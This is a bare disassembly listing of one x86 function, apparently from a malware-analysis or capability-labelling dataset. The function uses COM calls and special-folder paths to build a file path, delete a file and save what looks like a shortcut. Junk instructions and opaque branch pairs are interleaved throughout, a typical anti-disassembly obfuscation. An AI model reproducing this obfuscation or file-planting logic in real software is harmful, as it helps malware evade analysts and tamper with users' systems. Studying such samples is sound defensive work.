Function at 0x401400
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
push eax
push ecx
or ch, dh
xor ah, 0x7b
mov al, 0x43
add cl, bh
and cx, cx
mov ch, ah
pop ecx
pop eax
push eax
push ecx
sub cl, cl
sub ch, 0x2f
xor ecx, edi
pop ecx
pop eax
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
push dx
push ecx
xor ecx, edi
cmp dh, bl
and ecx, edi
and cx, cx
inc cx
xor dx, 0x6c14
test ch, 0x66
pop ecx
pop dx
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push edi
inc di
test di, 0x3f60
xor di, 0x5177
sub edi, esi
pop edi
lea eax, [ebp - 4]
push eax
push 0x405128
push 1
push esi
push 0x405118
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x401485
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
je 0x40149e
push si
pop si
jne 0x40149e
fisttp qword [ecx + 0x47c63860]
idiv dword [edi]
mov word [eax - 0x10f6f707], gs
xor dword [edi - 0x79], edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 0x405138
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jge 0x4014c5
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
je 0x4014d2
xchg edx, edx
xchg si, si
jne 0x4014d2
cmp esp, esi
add eax, 0x40b97b
add byte [eax], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
rep stosd dword es:[edi], eax
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push esi
stosw word es:[edi], ax
lea edx, [ebp - 0x10c]
push 0x26
push edx
push esi
stosb byte es:[edi], al
call ebx
test eax, eax
jne 0x401509
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x4061e4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x10c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jbe 0x401559
mov ecx, ecx
ja 0x401559
invalid
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
push cx
push eax
and ch, dl
test dl, cl
test eax, 0x5d9b
add cl, ah
dec al
test cx, 0x16a6
test ebx, eax
pop eax
pop cx
mov eax, dword [ebp - 4]
push 0x406278
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
push edx
cmp dh, 0x1f
test bx, dx
cmp dx, bx
xor dh, 0x74
or dh, bl
xor dl, ah
dec dh
pop edx
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x10c]
push 0
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x44]
push ecx
test ch, 0x2c
cmp cx, 0x72ec
cmp cl, 0x6b
add ecx, esi
xor ch, 0x33
inc cx
pop ecx
mov eax, dword [ebp - 4]
push 0x406290
push eax
mov edx, dword [eax]
call dword [edx + 0x2c]
jbe 0x4015f8
mov dx, dx
ja 0x4015f8
jae 0x4015bb
mov al, byte [0xfff6906c]
and eax, 0xa0633c25
dec dword [ebx]
sbb edi, dword [esi]
mov eax, dword [ebp - 4]
push 0x406204
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dx
push di
push ecx
test dl, 0x6e
or ch, al
cmp ch, 0x14
test ebx, ecx
pop ecx
pop di
pop dx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x416]
mov word [ebp - 0x418], 0
rep stosd dword es:[edi], eax
push 0
lea edx, [ebp - 0x210]
push 0x1a
push edx
push 0
stosw word es:[edi], ax
call ebx
test eax, eax
jne 0x401667
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x40622c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x210]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jp 0x4016ab
mov eax, eax
xchg si, si
jnp 0x4016ab
add al, 0x46
shl dword [ebx], cl
xor al, 0xb6
adc ah, byte [0x858d4deb]
invalid
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
je 0x4016c5
xchg edx, edx
xchg si, si
jne 0x4016c5
cmp esp, esi
add eax, 0xe88d8d7b
sti
invalid
lea ecx, [ebp - 0x418]
push 0x104
push ecx
lea edx, [ebp - 0x210]
push 0xffffffffffffffff
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x418]
push 1
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
push eax
push ebx
dec eax
or ah, 0x7e
xor ah, al
xor eax, ecx
or bh, 0x7e
mov bx, 0x2751
or al, dh
cmp bx, ax
pop ebx
pop eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov edx, dword [eax]
call dword [edx + 8]
je 0x40172d
xchg edx, edx
xchg si, si
jne 0x40172d
cmp esp, esi
add eax, 0x6652667b
push edi
push dx
push di
push ecx
test dl, 0x6e
or ch, al
cmp ch, 0x14
test ebx, ecx
pop ecx
pop di
pop dx
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret